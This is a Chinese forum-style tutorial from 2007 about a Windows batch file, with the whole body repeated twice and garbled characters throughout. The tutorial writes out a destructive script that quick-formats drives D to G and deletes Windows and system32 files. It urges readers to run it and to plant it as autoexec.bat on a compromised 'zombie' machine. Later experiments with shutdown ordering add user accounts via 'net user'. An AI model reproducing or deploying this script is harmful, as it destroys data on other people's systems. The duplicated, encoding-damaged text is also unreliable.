由一段批處理程序所引起的探討感覺問題是有,不太準(zhǔn)確
更新時(shí)間:2007年10月22日 11:02:41 作者:
假如你的系統(tǒng)裝在c盤
打開記事本輸入
@echo off
shutdown -r -t 0
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
c:
cd \
cd windows
del. /y
cd system32
del. /y
shutdown -r -t 0
另存為1.bat
然后運(yùn)行
看看有什么后果
如果想搞肉雞的話那么可以
重命為autoexec.bat上傳到肉雞C:覆蓋原來的autoexec.bat
最后一次警告:最好別亂搞,出了問題后果自負(fù)
有一個(gè)不完美的地方。我說說
c:
cd \
cd windows
del. /y
cd system32
請(qǐng)問你為什么就肯定系統(tǒng)不是windows2000呢!
對(duì)于windows目錄的確定,你在bat下應(yīng)該用環(huán)境變量得到。
比如
windir=C:\WINDOWS
windir=C:\WINNT
還有,有點(diǎn)小小要請(qǐng)教的地方,對(duì)于第二條語句。
shutdown -r -t 0
既然重動(dòng)了,那以下的格式化命令還有作用嗎???????????
自己不敢試,因?yàn)槲覒岩墒怯凶饔玫摹?nbsp;
這個(gè)是我給的回復(fù):
我的系統(tǒng)是XP,在XP的環(huán)境下弄的這個(gè)批處理,所以忽略了2000的情況,是我考慮不周全,謝謝你的指正
確實(shí)如你所說shutdown -r -t 0這條語句本來是不應(yīng)該放在這里,否則系統(tǒng)會(huì)直接重啟動(dòng),導(dǎo)致下面的語句不起作用.
為了得到答案!我對(duì)于這個(gè)問題親自試了一下!
@echo off
shutdown -r -t 0
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
這是我第一次執(zhí)行的文件。在重啟動(dòng)后發(fā)現(xiàn)emissary1并沒有加入到用戶組!失??!
第二次我在ping的前面加入了net user emissary1 /add。因?yàn)槲蚁胫啦谎訒r(shí)執(zhí)行的話。會(huì)不會(huì)成功!
@echo off
shutdown -r -t 0
net user emissary1 /add
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
結(jié)果還是失??!
到這里。我以為shutdown -r -t 0后面的語句是無效的!想了一下。又改為了以下語句!
@echo off
shutdown -r -t 0
dir > c:\aaa.txt
ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt
shutdown -r -t 0
意外的,這次成功了。重啟后發(fā)現(xiàn)有了c:\aaa.txt而沒有c:\aaa2.txt這個(gè)文件。
對(duì)于以上測試,我僅僅得出在這個(gè)批處理文件中。只能對(duì)內(nèi)部命令會(huì)起作用,而外部命令因?yàn)閣indows已經(jīng)開始關(guān)閉窗口,從而導(dǎo)致外部命令的初始化失敗,不能執(zhí)行的結(jié)論!
內(nèi)部命令由cmd.exe提供,因?yàn)閳?zhí)行.bat時(shí)CMD是打開的,所以內(nèi)部命令可以正常使用。
打開記事本輸入
@echo off
shutdown -r -t 0
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
c:
cd \
cd windows
del. /y
cd system32
del. /y
shutdown -r -t 0
另存為1.bat
然后運(yùn)行
看看有什么后果
如果想搞肉雞的話那么可以
重命為autoexec.bat上傳到肉雞C:覆蓋原來的autoexec.bat
最后一次警告:最好別亂搞,出了問題后果自負(fù)
有一個(gè)不完美的地方。我說說
c:
cd \
cd windows
del. /y
cd system32
請(qǐng)問你為什么就肯定系統(tǒng)不是windows2000呢!
對(duì)于windows目錄的確定,你在bat下應(yīng)該用環(huán)境變量得到。
比如
windir=C:\WINDOWS
windir=C:\WINNT
還有,有點(diǎn)小小要請(qǐng)教的地方,對(duì)于第二條語句。
shutdown -r -t 0
既然重動(dòng)了,那以下的格式化命令還有作用嗎???????????
自己不敢試,因?yàn)槲覒岩墒怯凶饔玫摹?nbsp;
這個(gè)是我給的回復(fù):
我的系統(tǒng)是XP,在XP的環(huán)境下弄的這個(gè)批處理,所以忽略了2000的情況,是我考慮不周全,謝謝你的指正
確實(shí)如你所說shutdown -r -t 0這條語句本來是不應(yīng)該放在這里,否則系統(tǒng)會(huì)直接重啟動(dòng),導(dǎo)致下面的語句不起作用.
為了得到答案!我對(duì)于這個(gè)問題親自試了一下!
@echo off
shutdown -r -t 0
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
這是我第一次執(zhí)行的文件。在重啟動(dòng)后發(fā)現(xiàn)emissary1并沒有加入到用戶組!失??!
第二次我在ping的前面加入了net user emissary1 /add。因?yàn)槲蚁胫啦谎訒r(shí)執(zhí)行的話。會(huì)不會(huì)成功!
@echo off
shutdown -r -t 0
net user emissary1 /add
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
結(jié)果還是失??!
到這里。我以為shutdown -r -t 0后面的語句是無效的!想了一下。又改為了以下語句!
@echo off
shutdown -r -t 0
dir > c:\aaa.txt
ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt
shutdown -r -t 0
意外的,這次成功了。重啟后發(fā)現(xiàn)有了c:\aaa.txt而沒有c:\aaa2.txt這個(gè)文件。
對(duì)于以上測試,我僅僅得出在這個(gè)批處理文件中。只能對(duì)內(nèi)部命令會(huì)起作用,而外部命令因?yàn)閣indows已經(jīng)開始關(guān)閉窗口,從而導(dǎo)致外部命令的初始化失敗,不能執(zhí)行的結(jié)論!
內(nèi)部命令由cmd.exe提供,因?yàn)閳?zhí)行.bat時(shí)CMD是打開的,所以內(nèi)部命令可以正常使用。
相關(guān)文章
用bat實(shí)現(xiàn)定時(shí)執(zhí)行任務(wù)的批處理文件
用bat實(shí)現(xiàn)定時(shí)執(zhí)行任務(wù)的批處理文件...2007-05-05Assoc顯示或修改文件名擴(kuò)展關(guān)聯(lián)
Assoc顯示或修改文件名擴(kuò)展關(guān)聯(lián)...2007-09-09